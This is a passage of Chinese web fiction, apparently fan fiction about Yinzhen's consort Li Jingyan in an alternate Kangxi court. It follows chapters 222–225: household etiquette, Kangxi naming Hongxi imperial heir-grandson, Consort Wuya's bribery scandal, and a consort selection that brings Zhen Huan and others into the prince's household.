他这个福晋耳根子软的很,两三句好话就能被哄的眉开眼笑的,让他不得不防啊! 府里的事务早就被小佟嬷嬷慢慢转移并手把手的交接到李静言的手里,所以只用了小半个时辰便熟悉了府里的运作。 顺便瞧了眼手里的几张帖子,自大福晋开始,妯娌们都送来了贺礼。 关系好的舒舒觉罗氏几人是侧福晋,这一次较为谨慎的只送了贺礼来,并没有送帖子入府。 但李静言才不会忘了自己小姐妹,坐在书桌前亲自邀请了几人于十日后来雍亲王府小聚的帖子。 毕竟是侧福晋,自然跟三日后的嫡福晋聚会不同。若是放在一起,嫡福晋那里失了尊重,侧福晋这里也顾不周全。 “福晋,年侧福晋和几位格格到了。” 年世兰漂亮,但自年羹尧开始,年家不知所谓的优越感早就把胤禛那丁点的喜爱用尽。更何况如今胤禛不是个缺人用的,自然也不会如同剧情中那般对年世兰百依百顺。 有了孩子后,年世兰慢慢收敛了一些反骨,但也只是对着王爷和福晋有好声好气。 李静言看了一眼身边的小路子:“去看看爷回来没有。” 胤禛明确的告诉李静言小路子是他的人,并详细的介绍了小路子的身手和本事。 然而并没有什么用,李静言对人是骂的过就骂,骂不过就拉胤禛上场,从来没有给小路子暗里偷袭和发挥武力的机会。 趁着这个功夫,小佟嬷嬷又哄着李静言换了身正红色绣牡丹花的衣裳,头上也用了凤衔东珠的金簪,通体下来只有两个字:富贵。 “咱们福晋穿什么都好看,只是到底是第一次受妾室的请安,正红色庄重金贵,衬福晋的气势。” 李静言日常偏爱粉紫两色,小佟嬷嬷每每哄着人换衣裳时,都学着胤禛的话术,把李静言夸的天上有地下无的。 “嬷嬷说的是,咱们静言穿什么都好看。” 胤禛前脚迈进屋子里,紧接着脑子里就有了李静言缠磨人的画面:“爷现在说妾身穿粉色娇嫩,那妾身上了年纪,怕不是要说‘粉色娇嫩,你如今几岁了’?” 配着那歪到紫禁城的嘴和不让搂的腰,胤禛只觉得自己太冤枉了。 他哪里会说这种没脑子的话,虽然始于见色起意,但这么多年的相处,静言这独一无二的性格才是胤禛最喜爱的。 即便今后两人慢慢老去,也定不会说出这般诛心之语。 “爷今儿可是早,怕不是想见新妹妹了吧?” 胤禛熟练的扶着李静言起身往外走:“福晋可是冤枉我了,若不是怕你等的着急,定是不会这般快的。” 看着胤禛一本正经的模样,李静言用帕子扫了扫他的脸:“哼,偏你是个油嘴滑舌的。这几日本福晋的身子好的很,你可要去妾室房里坐坐?” 胤禛慌忙摇头:“这是什么话?妾室不过是为府里生儿育女罢了,哪里有福晋重要。” 一来一回,李静言无理取闹的手从胤禛的胳膊上放下,端着一副温婉的面孔和胤禛并排出现在外头。 要说这府里最有规矩的,怕就是这齐格格。 齐格格是胤禛身边的老人,眼瞅着他娶了三个福晋,自己连个侧福晋都没混上。 由年世兰为首,带着妾室行跪拜礼时,李静言突然歪了歪身子靠近胤禛。 “爷,这齐格格磕走了两个福晋了。” 胤禛本意是来镇个场子,他端着茶杯正在放松自己,没想到还是没躲过自家福晋这张嘴。 不过,胤禛把这话记在了心里。 能推锅的时候,没有哪个人能拒绝。 “妹妹们都起来吧,咱们府里的规矩多,但并不重。老人都知道,本福晋是个好说话的。但分寸二字你们也记一记。 这雍亲王府的底线有三,一是爷的身子,本福晋不管你们是被江湖郎中忽悠买了秘药还是家传的方子。总之,这种脏东西在府里是绝不许出现。 二呢,便是子嗣。想请府医开副坐胎药吃吃可以,但若是对着别人的孩子动手,就别怪本福晋不客气了。 三最简单,争宠时十八般武艺便罢了,若是私下里动了手,可别怪本福晋不顾你们的脸面。” 虽然说的严厉,但下头的几人却都是松了口气。 有规矩的地方比没规矩的地方要好生存的多。 再加上入府时小佟嬷嬷把几人都安排在了单独的小院,虽然不大,但好歹不需要挤在一起,也没有把她们塞到侧福晋的院子里,这就很好了。 胤禛倒是眼里带着惊喜的看着李静言,今日不免叫他想起当初的柔则。 虽然当日他并没有陪同,不是因为对柔则不够重视,反而是因为柔则身为乌拉那拉氏的嫡女,其母又是宗室觉罗氏的女儿,胤禛是格外放心的。 只是没想到他放心的太早了,柔则于管家一事一窍不通就算了,竟是学也没学过。 比起静言此刻的游刃有余有条有理,乌拉那拉氏的教养也真是令人费解。 “昭宁和景和的嬷嬷也该换了,宋格格和钱格格也上点心。” 宋格格的大女儿名昭宁,钱格格的二女儿名景和,两人时常带着孩子给李静言请安,胤禛瞧她们用心,便认真给孩子想了名字。 再加上甘格格和钱格格家里头得用,来往都是李静言经的手,自然关系更密切。 乳母这个生物给钱就是了,没必要搞的那么复杂。不过就是个照顾格格的下人,好好的孩子,怎么能被奴才拿捏住了。 宋格格扶着肚子起身应了一句,她如今有孕也有七个月了,胤禛一共去看过她两回,得了两个孩子。 单这一点,叫齐格格羡慕的眼睛都红了。 “好了,都散了吧。今后只初一十五巳时请安就是。” 身为福晋,李静言是真的很忙,除却妯娌间的走动,各大家族的当家福晋也会送帖子小聚。要安排仪礼和回礼,还要了解各家的姻亲远近,这桩桩件件的,也不知道宜修怎么会有时间谋划打胎。 现在府里头这两个孩子,李静言根本在妯娌间抬不起头好吗? (清朝福晋上门参加宴会带的礼物通常被称为“仪礼”或“贽礼”。 这些礼物一般包括各种珍贵的物品,如金银珠宝、绸缎布匹、古玩玉器、食品糕点等,具体种类和价值会根据宴会的性质、与主人的关系以及自身的身份地位等因素而有所不同。) 第222 章 李静言25 五月初八,胤禛拉着昨晚儿快子时才睡下的李静言艰难起床。 “来扶着你家主子更衣。” 确保怀里人身上寝衣穿的整齐后,胤禛才拨开床幔叫翠萍等人进来伺候着。 今儿是理亲王胤礽的乔迁宴,他身为胤礽身边亲亲爱爱的好弟弟,自然要早早过去帮忙才是。 只是晚上因为“挑选”衣服搭配的时间久了些,胤禛自知理亏,叫苏培盛把自己新收的一对帝王绿的手镯取了出来,趁着李静言不甚清醒时套在了她的手腕上。 冰冰凉凉的触感叫李静言的眼睛微微睁开。 根据以往的经验之谈,手腕上定是有好东西。 强忍着睡意从翠萍怀里坐直了身子,翠萍忙用带着白兰花香气的帕子,轻轻敷上李静言的眼睛。 白兰花不难得,但白兰花的精油却不易得。单是这拇指大小的一瓶,就用了不下百盆的白兰花蒸制而成,只为了给李静言醒神用。 “爷这是赔礼?” 虽然精神好些了,但声音仍旧带着倦意。胤禛听了有些心痒痒也有些心疼,掺和在一起,合成一股奇异的感觉,从心脏流入四肢。 甚至有那么一瞬间,胤禛觉得这皇位争不争的都好,妻子好合,如鼓琴瑟。这般神仙眷侣的生活虽与他毕生追求背道而驰,却恰恰是从小渴求温情的胤禛最贪恋的地方。 “可是喜欢?” 飞扬的思绪不过瞬间,他看着梳妆台前乌发半挽的人笑了笑,拿起桌上的眉笔轻轻为其描画。 胤禛仔细端详着李静言的脸,手下的笔把她的眉峰微微上扬,呈现出圆润的拱形。突出了李静言娇憨清澈的杏仁眼,弱化了其略带天真的面容,更加大气优雅。 “走来窗下笑相扶,爱道画眉深浅入时无。” 不知道为什么,胤禛的脑子里突然冒出来这么一句诗,他顺遂心意念了出来,眼底带了些自己都未察觉的期待。 李静言这些年也被胤禛带着读过几本诗书,她嗔笑着斜斜瞥了他一眼,挑了对和镯子配套的耳饰浅浅的比划:“等闲妨了绣功夫,笑问鸳鸯两字怎生书?” 倒也不是她记性好,只是胤禛这闷骚的男人惯爱读给她听的,都是这一类的诗词,床上读,耳鬓厮磨时也读,想忘记都难。 虽然过程有些磨蹭,但好在起的早,胤禛夫妻仍旧是第一个到达理亲王府的。 人逢喜事精神爽,胤礽的面相完美的诠释了这句话。 昔日里雍容华贵龙姿凤采的太子爷仿佛只是前几年歇了个脚,如今又回到了胤禛面前。 “好老四,真给二哥长脸!” 胤礽笑的开心,冲着弘皙伸出了手。 一向温文尔雅老成持重的弘皙眼珠子微微动了动,看的出来在强忍翻白眼的冲动。 他动作稍显粗鲁的把腰间的玉佩扯了下来,带着虚假的笑容放在胤礽手里:“还是阿玛真知灼见,儿子自愧弗如。” 胤禛大约看懂了这对父子俩之间的小官司,他嘴角的笑意还未收敛,就看到他的福晋和好大儿用同样迷茫的眼神看向弘皙。 “弘皙哥,你和二伯说什么呢?” 比李静言好奇心更大的弘时按耐不住,心急的朝着弘皙发问。 弘皙拉着弘时往院子里走:“我跟阿玛打赌今日是谁先到。我压了十三叔,唉可惜十三叔不争气。” 胤礽一家若论关系,和十三胤祥是最亲近的,胤禛其次。 所以弘皙偶尔言语间的放肆胤礽并不拘着。 弘时听完呵呵笑了起来:“还好我阿玛和额娘争气。” 胤禛挂上了弘皙同款的假笑,可惜他的好福晋笑的得意,他们一家总觉得不是很聪明的样子。 入席前,外头一声大喊,众人慌忙往前院去,跪在地上请安。 到底是最爱的儿子,康熙牢牢的掌控这么多年,突然放人自由还有些不适应。 理亲王府的探子仍旧比别的儿子府邸多了一倍,但胤礽已经觉得很好了。 “都起来吧。” 康熙知道自己扫兴吗?自然是知道的,但他不介意。当皇帝这么多年,从来都是我行我素,只有别人附和他的时候,哪里迁就过他人呢? 上到直郡王胤禔,下到恂贝勒胤禵,拖家带口,也就是这理亲王府地方大,不然连席面都摆不下。 本来吃吃喝喝的,气氛也还算融洽,等桌上的菜撤下去后,大家端着茶四处闲话时,康熙敲了敲桌子。 “朕观你们兄弟和睦也算是了了一桩心事,这些日子朕想了想。” 说到这里,众人心里隐隐有了预感。 太子变亲王,虽然老爷子身体还算硬朗,但毕竟也是六十的人了,对继承人有安排完全是意料之中。 只不过,大家互相看了看,他们这被贬的贬,罚的罚,只有老三老四和老十三还算全乎。 虽然表面都是恭恭敬敬的,实际心眼子已经都快转冒烟了。 胤禛低着头,他有预感,自己不是皇阿玛心里的人选。 情绪复杂,有可惜有不甘但也有解脱。 掩在桌下的手抓了抓腰间和李静言手镯同料而出的玉璲,表情冷静。 康熙坐在那里环顾了一眼儿子和儿媳们的表情。 “朕欲立弘皙为皇太孙,由朕亲自教导,你们以为如何啊?” 底下的儿子有愁眉苦脸的(胤礽),有松了口气的(胤禔,胤禛和胤祥)也有不甘心的(胤禩和胤禵)还有无所谓的(胤祉,胤祺 ,胤祐,胤禟和胤?)。 众生百态,今日康熙也算是在自己这些儿子身上看见了。 “皇阿玛,儿臣以为弘皙......” 康熙抬手制止了胤礽的话,他知道这个儿子要说什么,他不爱听。 “朕不要你以为。” 说着,不去看心爱的儿子幽怨的目光,康熙把眼神放在了李静言身上:“老四家的,你觉得如何啊?” 李静言茫茫然抬头,被众人包裹着的她显得弱小可怜又无助的。 胤禛刚想开口,就被老父亲瞪了回去。 没办法,只好拼命的朝李静言眨眼睛,示意她不要乱说话。 而李静言,接收不到信号。 其余兄弟此时倒接收到了胤禛的信号,他们压下了刚才复杂的思绪,端起看笑话的表情朝着胤禛眨眼看了回去。 胤禛:毁灭吧。 “儿媳觉得,皇阿玛您开心就好嘛!反正二哥做惯了有经验,辛苦二哥一家就好啦。” “哈哈哈哈。” 康熙特别喜欢听老四家这个没头脑说话,每次都觉得有意思极了。 “怎么会是辛苦呢?这可是一人之下万人之上的地位。” 康熙谆谆诱导,那表情过于放松了,叫儿子们很嫌弃。 “可是我家爷出门也没人管啊。” 李静言的言语可能有些简单,但众人理解了她的意思。 说的倒是也没错,他们身为爱新觉罗氏的儿子,本来就不受什么桎梏。 “但是做皇帝可以使唤其他人。” 康熙觉得自己的帝位被李静言小瞧了,他不能容忍,势必要把她这个想法掰正才好。 “可是爷说皇阿玛您曾经请宪亲王办事的时候,也是好声好气的。我家爷可是排第四。” 胤禛只觉得手脚冰凉,摊上这么一个口无遮拦的福晋真是福祸相依啊。 康熙被怼的哑口无言。那宪亲王福全是他二哥,他请人办事当然不能像对朝臣那样。 这老四也真是的,什么都往外说! 康熙又狠狠的瞪了胤禛一眼。 其余人倒是若有所思的看了看弘皙,没错啊,就算是弘皙上位又如何呢,他们可是弘皙的叔伯啊!而且,自家兄弟都落败了,反而衬得自己也没那么失败了。 这么一想,几个兄弟还挺高兴的。 不高兴的只有康熙,因为李静言说的没错,并且没有冒犯到他。 (宪亲王就是顺治次子福全,活着的时候是裕亲王,谥号宪。) 第223 章 李静言26 自弘皙被立为皇太孙后,朝堂倒是清净了许多。 没办法不清净,太子自请下堂后,他们是下注的下注,观望的观望。皇上的几个儿子都快被研究透了,没想到神来一笔,是弘皙这个皇孙上了位。 这倒是不用争了,没看到宣旨的时候那抢的头破血流的几位爷都没反对吗? 说不得人家皇家父子祖孙十几人达成了什么私底下的交易呢?他们皇室中的人啊,心眼子可多的很呢! 对于弘皙,康熙的占有欲没有那么强,也没有掌控其生活的想法。 弘皙倒是比他老子胤礽做储君时过的顺心。 其实这捡漏的储君之位弘皙稍微动动脑就能想明白,曾经皇玛法为了培养自家阿玛,那些个叔伯都是照着臣子的方向培养的。 大伯统军事,三叔善诗书,四叔称孤臣,虽然头前为了自己的权柄皇玛法干了不少荒唐事,这才叫自己的叔伯们全部几败俱伤,不过好在回头是岸,弘皙还是很欣慰的。 毕竟叔伯多,底下的兄弟们也多,总不能都是弘时弟弟那般吧! 想到这里,弘皙身上充满了干劲。 得努力了,不然弘时弟弟今后吃什么?穿什么?玩什么? 若不是四福晋歪打误撞,说不得他们一家子什么下场呢,对于弘时这个弟弟,弘皙表示:你只要好好活着,哥养你! 回到府上,胤禛抱着李静言沉默了好一会儿。 忽的,黑暗中胤禛开口:“会不会觉得可惜?其实爷的兄弟们都差不多了,爷是有上位的希望的,你离皇后那个位子也只有一步之遥。” 胤禛说不清心里头什么感受,他感谢李静言的单纯救了他一条命,当时那个情况,所有兄弟都被打压下只有他好好的在朝堂上站着。 一个不小心便是万劫不复。 但同样的,多年的期望就这么被打破,心里的空荡和茫然,也不是一时半刻能排解的。 李静言已经在安静中陷入了浅浅的睡眠中,听到胤禛的话她咕努了两下:“当不当皇后,爷也是爷,妾身也是妾身。 当不了神仙,吃不到琼浆玉露,穿的也还是蜀锦云锦,那晚霞也披不到妾身身上,到了晚上也照样要睡觉才能不困。爷啊,快睡吧。” 这话朴素又直白,倒是让满身心眼子的胤禛笑了起来。 “睡吧,爷不闹你了。” 胤禛把李静言扒拉到怀里搂着,听着她的呼吸声慢慢睡了过去。 只是半夜时,苏培盛突然来敲门,语气里含了焦急。 “吵吵嚷嚷的,苏培盛你又想爷的板子了是不是?” 用脑过度的胤禛刚睡下没多久就被吵醒,脑瓜子嗡嗡的疼。 “爷,宫里来消息,乌雅嫔不好了。” 胤禛猛地睁开眼睛,下意识的穿鞋下床。 李静言也听到了苏培盛的话,她慌忙看着守夜的翠萍说道:“快点,给本福晋更衣。” 雍亲王府瞬间起了喧闹,胤禛拉着李静言往宫里赶,路上碰到了恂贝勒府的马车。 兄弟俩只在小窗户处相视点了点头,带着疲惫的两张脸上没有交谈的欲望。 李静言被胤禛握着手,她只能用另一只手安抚的抱了抱他的肩膀。 “爷没事,你怎么样?有没有不舒服?” 胤禛慌乱后已经冷静下来,他细细一想就知道自己这个额娘因何变成这样。 她向来把那个位置视为胤禵的囊中之物,怕是一朝得了弘皙为储君的消息后,心里承受不住吧? 他走了两个福晋,失了两个儿子时倒是 不见他这个额娘难过,如今不过是于那个位置无望便这般,胤禛不免觉得额娘凉薄。 不过这些也都跟他无关了,胤禛的眼神在李静言身上上下扫了扫。 “没有不舒服,爷你闭上眼歇会儿。” 李静言没有安慰胤禛,因为她知道胤禛和乌雅嫔的关系不好,所以从不说那假惺惺的话。 胤禛眼里带了些笑意,握着李静言的手又眯了一会儿。 永和宫灯火通明,太医和宫女进进出出,康熙披着外裳坐在外头,脸色有些难看。 “皇阿玛。” 胤禛和胤禵带着各自福晋站到了康熙面前,康熙的眼神从胤禛两口子身上掠过,却意味深长的看了一眼胤禵。 胤禵的后背有些冒汗,不知道皇阿玛这是犯了什么病。 “去看看吧。” 康熙的声音有些嘶哑,但语气中的冷漠叫胤禵心有不安。 乌雅嫔此时已经人事不知,太医扎针的扎针,灌药的灌药,可仍旧挽留不住乌雅嫔的生机。 天空泛白时,永和宫也传出来了哭声。 康熙捏着一沓纸站在胤禛和胤禵的后头,看了眼两个儿媳淡淡道:“你们先回府主持着大局。” 李静言担忧的看了一眼自家王爷,跟着完颜氏行礼离开。 “知道你们额娘怎么走的吗?” 胤禛的心里打鼓,他的日子好不容易安稳下来,他这个不亲近的额娘不会给他留什么幺蛾子吧! 那沓纸甩下来的时候,胤禛心里只有一个念头:幸好! 看着被打懵了的弟弟,胤禛好心的帮他把地上的纸捡起来看了两眼。 这两眼叫他刚才落地的心又七上八下并左右乱转的扭曲起来。 原来他这个额娘这么看的上老十四呢,为了能叫老十四登上那个位置也是煞费苦心了。 瞧瞧乌雅氏送出去的礼物,品相完美的东珠一斛,整面的苏绣屏风无扇,田黄石十八罗汉摆件,掐丝景泰蓝大象鼎,一人高铜鎏金嵌和田玉子孙万代葫芦,一整套胭脂红地珐琅彩开光花卉碗碟,都是皇室专用的贡品,此刻竟出现在了不同大臣的家里。 先不说这些被贿赂的大臣,只说这只能出现在紫禁城的物件,是怎么到乌雅氏手里的。 胤禵看着胤禛呆愣的表情心里的不安越发大,他凑上去看了两眼,只觉得眼前一黑。 “你额娘为了叫你登上这个位置,也是煞费苦心了。” 自觉自家老十四胜算颇大的乌雅嫔,和胃口日益大起来的乌雅氏包衣,自然不会放过这个带有乌雅氏血脉登基为帝的机会。 要不是乌雅嫔病的太急,永和宫没有及时的捂嘴,才叫康熙察觉出端倪来。 这一番查探下来,康熙也算是大开眼界了。 真是老寿星上吊,这帮奴才嫌弃命长啊! 盛怒之下,乌雅嫔过世,不仅没有追封,就连葬礼都未办。没有停灵,直接被拉出去埋了。只言片语皇上都未留下,甚至还紧接着抄了乌雅氏一族的家。 宫中许久未见皇上发这么大的火气,虽然不至于人人自危,但单看乌雅氏的下场,其余三妃也是如警钟撞耳,却还是晚了一步。 皇上近几年仁慈,倒是叫底下人忘了皇上曾经生擒鳌拜的手段了。 包衣们哪个手里都是不干净的,被牵连着抄了家的家族此刻对乌雅氏是恨不得生啖其肉。一朝出了两个皇子阿哥,在内务府横行多年的家族月间不见了踪影。 胤禛因着不得乌雅氏的喜爱逃过了被迁怒,而得利的胤禵却没那么好运。每日都被康熙在朝堂上指着鼻子骂,好好的阳光开朗大男孩就这么郁郁了。 由恂郡王到恂贝勒到现在和九阿哥一样成为了光头阿哥,也算是跌宕起伏的精彩人生了。 第224 章 李静言27 “皇阿玛这次可是生了大气了,我瞧着十四弟妹都老了许多,眼底被疲态铺的满满的。” 李静言叽叽喳喳的声音在马车里响起,胤禛睁开眼嘴角无意识的勾出一抹笑。 他拉着李静言的手看了看,朝外吩咐道:“回府。” 说着,还把手里的清茶递到李静言嘴边:“润润嗓子,这是说了多少话,声音都有些哑了。” 今儿是三福晋的茶宴,她新得了些涌溪火青。这是她阿玛得皇上赏赐才有的,便邀了要好的妯娌们过府小聚。 胤禛下值顺道就来诚亲王府上接人,难得松快,两口子抛弃弘时单独去临江楼吃了顿野味。 瞧着身边人兴致高,胤禛又突发奇想点了几盏河灯博美人一笑。 等到回府已是入夜,问了一嘴弘时无恙,两口子快乐的回自己院子过成年人的夜生活了。 前车之鉴,李静言在宠爱很稳定后有意的给胤禛用些进补的食物,她可不想自己还没老就开始演戏。 至于补多了用过度了会不会影响寿命,这个李静言是没想过的哈。 毕竟这次的计划并没有当皇帝这一项,弘时也有了弘皙这个未来天子的照应了。可以说是完全没有后顾之忧,放纵一些也是情有可原。对于消耗品胤禛,那只能说是听天由命。 还有一个很重要的原因,宋格格又生了个小格格。 为了证明自己这个福晋的称职,李静言真的是有在付出行动。 偷摸询问了府医胤禛的脉案,叫府医暗中开了调理身子的药膳给胤禛日日用着。 小佟嬷嬷甚至还欣慰福晋的用心,完全想不到胤禛的体力是不是吃得消。 不过还好努力总算是没有白费,康熙五十三年,后院多了四个孕妇。 吕格格,耿格格,冯格格和钱格格。 胤禛捂着有些酸软的腰子满足一笑,连睡了半个月的素觉,才敢在八福晋的生辰宴上露面。 两家挨得近,这样的喜事自然是第一时间知道的。 八福晋有些羞涩又带了些好奇,婉转的打听了一下最近雍亲王府好事不断,是不是有什么好药方。 虽然她有了弘暇,府里头还有一个弘旺,但人丁稀少,总被误解成悍妇的八福晋也实在很无奈。 李静言拉着八福晋坐下,神神秘秘的在她耳边说了些什么。 八福晋的脸颊由白变红,眼神里带了些恍然大悟般的通透。 “原是如此!四嫂,你可真聪明!” 这话倒是叫其她妯娌有些好奇了,四弟妹/四嫂的脑子是有目共睹的,能叫八福晋夸一声聪明,那得是多好的点子啊! 其余人也围了上来,圈成一圈的福晋们脑袋凑在一起,不时发出“哦!”“啊!”“哇!”等惊叹词,惹得旁边那桌的阿哥们好奇不已。 胤礽看了一眼同样好奇但眼底有些青黑的胤禛起身拍了拍他的肩膀:“爷说怎么雍亲王府今日得喜事不断,老四啊,你也要注意身体!” 胤禛只觉得自己的脚趾头不停的扣着靴子,脸上的表情既尴尬又羞涩。 他也不知道最近怎么了,感觉自己有使不完的牛劲儿。有时候静言不方便的时候,那些并不如静言漂亮的妾室也瞧着无比顺眼。 一直到回府,这些阿哥们也没有从自家福晋的嘴巴里打探出来她们刚才讨论的秘密。 只是自这之后,大家都觉得自己突然有些重欲了。 康熙五十五年到五十六年,已经把希望都放在弘皙身上的皇上突然发现,自己一下子多了二十个孙子六个孙女,光是赐名,康熙就挠红了头皮。 就连一向艰难的老八家,也多了两个庶子,虽然有些病病歪歪的,但好歹活下来了。 最令康熙惊喜的是胤礽一家,理亲王妃瓜尔佳氏自生了小郡主后便再无孕信。 出宫开府后,又暗戳戳的给胤礽用了调理身体的药膳,倒是意外有了一个儿子。嫡子的出生叫胤礽和瓜尔佳氏开心不已。 不过他们都是经历过‘被’夺嫡的艰难的,胤礽和瓜尔佳氏求了康熙的圣旨,这个小儿子会继承理亲王府,三代不降爵。 “爷,咱们送出去的满月礼和收回来的完全没得比。” 李静言拨弄着自己的金算盘,有些惆怅并带了些小财迷意味的苦着脸。 “你呀,爷的兄弟多,即便咱们府里的孩子再多些,也是回不来的。” 胤禛歪在软榻上,白天不加班后心情好了很多。但现在晚上总是加班,感觉身体有些虚。 “也是。”李静言头也不抬的叹了口气,这几年的努力,也不过是多了三个阿哥一个格格,跟大哥家和十四弟家的完全没得比。 看来习武真的能强身健体。 想到这儿,李静言站起身到书架上扒拉了两下,找到一个靛青色的本子。 她翻开看了看:“爷,妾身给你应了两个小宴。” 胤禛茫然的从手里的书本中抬头,有些不可置信的问了一句:“什么?” 李静言晃了晃手里的册子:“十三弟约爷后日去京郊骑马射箭,三哥说下个月兄弟几个一起练布库。” “下个月?不就是五日后吗?” 合着后天骑马射箭也就给休息一天,就得去跟天生大力的三哥练布库? 他练得过谁? 李静言无所谓的点了点头:“正是呢,妾身瞧您这几日总是打哈欠,眼底也带了青黑,特意问了太医呢!” 胤禛猛地坐起身,不顾眼前的金星问道:“你去问太医了?” 李静言理直气壮:“是啊,爷你身体不好,妾身当然要找太医问一问啊!” 从来没感受过如此绝望的尴尬,胤禛现在只想挖个坑把自己埋进去。 “你,你下次可以直接跟爷说就好了。” 胤禛运了半天气,对上李静言干净澄澈的眸子还是泄了出去。 “行吧,知道了。爷你准备准备哦。” 胤禛又把自己扔回到榻上:准备?准备什么?反正自己怎么准备都是垫底的,倒也不必如此积极。 胤禛出发跟着十三弟去京郊骑马射箭时,李静言带着府里的人出门踏青去了。 “世兰呐,今儿本福晋要穿芍药红,你换一身啊!” 李静言故意在年世兰换好衣裳才说,甚至还挑了挑眉,表情间的揶揄和戏谑叫年世兰捏紧了拳头。 “是,妾身这就换。” 她咬着牙的声音真好听,李静言爱听。 底下的格格们你看我我看你,对于福晋喜欢捉弄侧福晋一事习以为常。 第225 章 李静言28 正院里人头攒动,风格各异的美人儿有的拉着同伴说笑,有的抱着孩子轻哄着,好不热闹。 弘旵被年世兰扔下也不闹,跟着昭宁和景和两个姐姐追蝴蝶,胖墩墩一个脾气超好。 玩儿了一会儿,年世兰换衣裳又格外的慢些,他便盯上了几个还在怀里的弟弟妹妹。 五阿哥是耿格格的儿子,赶上康熙赐名,得了弘昼一名。 六阿哥是冯格格的儿子,名弘早。 七阿哥是钱格格的儿子,名弘晚。 也是孙子太多了,康熙起名字也不仔细挑选吉祥字了,只要不重名就好。 吕格格得了府里的三格格,胤禛起名淑和。 弘旵比她额娘的性子讨喜,即便年世兰是个张牙舞爪的大猫,也不妨碍几个格格对弘旵的喜爱。 年纪小的果然比年纪大的两个姐姐好忽悠,弘旵喜欢。 这四人孩子小,出门麻烦些,又是冬春交替,怕着了风染了病李静言没带上她们。 其她人一同坐上马车,跟着李静言到了京郊的庄子上预备着小住两日。 出发前,齐格格被吉祥搀着最后一个到门口集合,李静言看了她一眼没有说话。 这齐格格如今是不是真的安分都不要紧,这雍亲王府现在没有给别人养孩子的规矩。即便今后有人留下孩子撒手人寰,这孩子也是李静言抱到主院养着。 “福晋这里还有马场?” 休息好了,年世兰带着弘旵四处转悠了一圈。 这几年在雍亲王府被李静言的心直口快怼怕了,不过李静言是个大方的主母,得空就会带着她们出门转转。 冬泡温泉春赏花,夏去避暑秋品茶。 就连自己的儿子都向着弘时,年世兰也安分下来,学会好声好气恭敬尊敬的说话了。 “自然是有的,你想玩儿就玩儿去,不要一直来本福晋眼前晃悠。” 虽然年世兰在府里头比较得宠,但在李静言和年世兰之间,她从来都不是被胤禛偏爱的那个。 如今有了儿子更偏了心思,对李静言的话也免疫了。 这庄子紧挨着九福晋的庄子,李静言换了身衣裳直接找约好了的董鄂氏打马球去。 一直到胤禛被三阿哥摔了个鼻青脸肿,李静言才不得不结束这次小小的假期活动。 “嘶!” 胤禛后背有两处较大的紫青,府医给涂了药膏正在按摩。 他趴着拉着李静言的手,委屈的不得了。 “三哥下手也忒狠了!福晋!给爷报仇!” 胤禛能想到的点子没什么特别的新意,所以把希望寄托在经常出乎意料的灵机一动李静言身上。 李静言点了点胤禛的脸想了想:“爷就等妾身的好消息吧!” 胤禛看着李静言兴奋的表情,也跟着乐了起来。 按耐着等了两天,得到了三福晋带着府里的小妾去庄子上游玩的消息。 这原不是什么大事,可留在诚亲王府的不都是孕妇就更好了。 众所周知,诚亲王胤祉是个极爱红袖添香的。偏他事也多,添香的不能是来月事的也不能是有孕的。 可符合条件的都被带走了,那日日补身子的药却没有停。 “四弟妹这小脑子可真是灵,来,这是三嫂给你的谢礼。” 这么多年,胤祉左一个美人又一个才女的往府里抬,三福晋早就厌烦了。 可谁让人家姓爱新觉罗呢!如今虽算不得伤筋动骨,但能叫他不痛快一炷香,三福晋都是痛快的。 李静言笑呵呵的接了三福晋的礼,又回府讨了胤禛的赏,小金库满的快要溢出来了。 日子顺遂,时光便过的飞快。 一转眼就到了皇上六十八岁的生辰,然而感受到自己的气力日益流失,为了心爱的大孙子,皇上再一次筹定了选秀一事。 满汉八旗的秀女年满十三岁至十七岁,容貌端庄无疤痕胎记者都通过了初选。 孙子们都到了娶妻的年纪,儿子们也可以适当的增加一批妾室 。康熙更是想着为自家弘皙再加点筹码。 蒙古送来了一个小郡主,康熙做主赐给弘皙做侧福晋。 有他阿玛珠玉在前,一个太子有六个侧福晋而已,都是小节。 至于太子妃,康熙定下了年仅十岁的富察氏。 出身满洲镶黄旗沙济富察氏,其父李荣保是察哈尔总管,家族显赫受良好教养。 虽然年纪小了些,但其他家族出众的女儿也是青黄不接,适龄的大多是旁支,康熙挑挑拣拣,定下了米思翰的孙女,马奇的侄女。 弘时也到了成婚的年纪,得了董鄂氏家的女儿,温婉漂亮,善诗书,和弘时成婚后琴瑟和鸣,也算是一段佳话。 不过这些都不重要,这次选秀,该上场的主角团都过了一遍。 主持选秀的是康熙和小佟贵妃,但因着康熙的身体并不能支持久坐,只坚持完了满军旗秀女那一场。 至于汉军旗,便全权交给了小佟贵妃做主。 李静言等啊等,终于等到了尘埃落定之时。 弘时得了福晋和四个格格,都是满军旗的女儿。其他适龄的孩子也是大差不差。 所有汉军旗的秀女基本都进了胤字辈的阿哥府里做格格侍妾。 这也是康熙有意为之,汉军旗的势力弱些,不会有威胁弘皙的可能。 雍亲王府得了三个格格,汉军旗济州协领沈自山的女儿沈眉庄。 汉军旗大理寺少卿甄远道的女儿甄嬛,和汉军旗松阳县县丞安比槐的女儿安陵容。 不同于安陵容的兴奋与激动,沈眉庄和甄嬛是真的很失望。 她们是奔着太子去的,就算不是太子也是弘字辈的阿哥们。 谁能想直接被分到了雍亲王府呢?这雍亲王都能给她们当爹了。 不过再多的不情愿也是无济于事,一顶青色小轿接了三人入府。 李静言接手后改了规矩,不可带自己的侍女,叫沈眉庄和甄嬛不痛快也没有办法。 “新格格进府,爷倒是还肯来妾身的院子。” 她今日特意穿了桃花粉的衣裳,头上的珠翠也多用粉紫色,夹着嗓子酸溜溜的说着话,惹的胤禛一个劲儿的发笑。 “这不是闻到了酸味儿,都快给这府里熏入味儿了。怕隔壁的八弟来挑事,爷得看看是不是正院的醋坛子翻了。” 虽然奇怪李静言怎么又挑了这样嫩的衣裳穿,但他知道这话可不能问。 李静言瞪了他一眼,又指着自己的衣裳“这粉色娇嫩,不如给了新妹妹们穿,可好?” 胤禛摸了摸头,笑的一脸不值钱:“她们哪里配的上这个,挑你不喜欢的给她们就是了。” “妾身可听说这三位妹妹有个天仙似的人物呢,说不得爷一看了啊,就被勾了魂去!” 胤禛无奈的笑,伸手把人扣在怀里:“天仙明明已经在爷的怀里了,哪还有那么多天仙。凡夫俗子,岂能跟静言相较?” 李静言的反常被胤禛记在心里,叫苏培盛打探一番才知,那甄格格竟有几分像已故的柔则。 昏暗中,胤禛愣了一下又挥了挥手。 苏培盛退了出去,也没放在心里。 